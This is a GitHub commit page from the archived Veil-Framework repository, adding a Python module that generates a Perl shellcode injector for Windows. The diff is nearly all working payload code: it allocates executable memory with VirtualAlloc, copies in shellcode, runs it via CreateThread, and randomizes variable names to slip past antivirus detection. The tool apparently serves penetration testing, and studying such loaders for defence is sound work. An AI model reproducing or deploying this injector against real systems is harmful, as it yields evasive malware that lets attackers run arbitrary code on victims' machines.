This repository has been archived by the owner on Jan 10, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 684
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #255 from Veil-Framework/no_hope
Added module for January v-day release
- Loading branch information
Showing
3 changed files
with
56 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
""" | ||
Custom-written perl inline shellcode injector. | ||
Approach by @the_grayhound and @christruncer | ||
Module built by @the_grayhound | ||
""" | ||
|
||
from modules.common import helpers | ||
from modules.common import shellcode | ||
|
||
|
||
class Payload: | ||
|
||
def __init__(self): | ||
# required options | ||
self.shortname = "VirtualAlloc" | ||
self.language = "perl" | ||
self.extension = "pl" | ||
self.rating = "Excellent" | ||
self.description = "VirtualAlloc pattern for shellcode injection" | ||
# optional | ||
# options we require user ineraction for- format is {Option : [Value, Description]]} | ||
self.shellcode = shellcode.Shellcode() | ||
|
||
def generate(self): | ||
|
||
shellcode = self.shellcode.generate() | ||
|
||
# randomly generate out variable names | ||
payloadName = helpers.randomString() | ||
ptrName = helpers.randomString() | ||
|
||
payloadCode = "use Win32::API;\n" | ||
|
||
payloadCode += "my $%s = \"%s\";\n" % (payloadName, shellcode) | ||
|
||
payloadCode += "$VirtualAlloc = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" | ||
payloadCode += "$RtlMoveMemory = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" | ||
payloadCode += "$CreateThread = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" | ||
payloadCode += "$WaitForSingleObject = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" | ||
|
||
payloadCode += "my $%s = $VirtualAlloc->Call(0, length($%s), 0x1000, 0x40);\n" % (ptrName, payloadName) | ||
payloadCode += "$RtlMoveMemory->Call($%s, $%s, length($%s));\n" % (ptrName, payloadName, payloadName ) | ||
payloadCode += "my $threadName = $CreateThread->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) | ||
payloadCode += "$WaitForSingleObject->Call($threadName, -1);\n" | ||
|
||
return payloadCode |